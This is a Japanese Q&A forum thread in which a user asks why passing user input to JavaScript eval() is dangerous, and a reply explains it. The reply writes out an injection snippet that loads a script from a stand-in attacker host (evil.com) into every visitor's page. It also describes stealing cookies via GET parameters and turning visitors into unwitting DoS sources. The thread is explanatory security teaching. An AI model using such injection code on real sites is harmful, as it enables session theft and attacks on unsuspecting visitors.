質問: eval()の危険性の具体例を教えてくれませんか? javascriptのeval()の危険性についての質問です。 下のようなページを公開したとして function execstr(str){eval("(" + str + ")");} 「ユーザーが入力したテキストをそのままeval()で評価実行するのは、悪意のあるコードがそのまま実行されてしまうので危険である」とされています。この危険な悪意のあるコードが、どんな危険性をもつのかが具体的にイメージが掴めないのです。 javascriptはクライアント側のブラウザーで実行されているものであり、そもそもローカルなリソースにはアクセス出来ないし、ましてサーバー側に影響を及ぼすようなjavascriptとはどんなものなのでしょうか? クッキーを盗むといっても、本人のクッキーを盗んでも仕方ないし、他人のクッキーはみれないでしょう。xmlhttprequestで他のサイトにポストするコードを実行されても、サーバー側で困る事はないと思うのですが。
回答: #2です。 > ページ自体がサーバー上にあるため、ページに流し込むコードの作成は不可能だと思います。 javascriptでコンテンツを流し込むということなのですが、ひょっとして前提が違うのでしょうか? 私が考えていた前提条件は「投稿者がポストしたコメントの内容を無条件に eval() する」というものです。 の内容が eval() されると仮定すると、下記コードでscript要素を流し込めます。 var s = document.createelement("script"); s.type = "text/javascript"; s.src = "http://evil.com/evil.js"; document.getelementsbytagname("head")[0].appendchild(s); eval(document.getelementbyid('test').value); コードが掲示板のdbに登録されると、訪問者全員がこのコードを実行することになります。 javascriptからはcookieを取得できるので、取得したcookieをgetパラメータで渡すことも可能だと思います。 > 回答番号:no.2さん指摘のdos攻撃のリスクはeval()つかって無くてもありえる話しなのでjavascriptのeval()の問題点とはいえないかも知れません。 これが危険なのは不特定多数の訪問者からdos攻撃をされることです。 攻撃者が一人ならipアドレスでキックすればいいですが、evalで流し込まれると訪問者全員が(意図せず)dos攻撃をします。 訪問者全てを拒否するわけにはいきませんから、dos攻撃されうるコードは流し込めないように対策する必要があります。